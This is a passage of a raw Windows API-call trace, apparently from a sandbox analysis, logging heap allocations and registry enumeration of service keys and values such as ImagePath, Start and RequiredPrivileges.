returned 0x0 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.556] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.557] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.557] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.557] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0249.558] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0249.558] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0249.559] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0249.559] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x1e6f870 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0249.559] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d368 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.559] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0249.559] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.559] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.559] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d318) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de45b8) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d328) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4600) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d338) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4648) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d348) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6f870) returned 1 [0249.560] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.560] RegQueryValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x0, lpData=0x0, lpcbData=0x18fb78*=0x0) returned 0x2 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0249.560] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d648 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d368 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x194) returned 0x0 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1c0) returned 0x1dd29e0 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.561] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1dd29e0, lpcbData=0x18fb78*=0x194 | out: lpType=0x18fb70*=0x7, lpData=0x1dd29e0*, lpcbData=0x18fb78*=0x194) returned 0x0 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d630 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d378 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d358 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4690 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d348 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4648 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d338 [0249.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4600 [0249.561] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58bc08 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d328 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de45b8 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x1e6f870 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d388 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0249.562] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d398 [0249.562] RtlAllocateHeap (HeapHandle=0x580000, 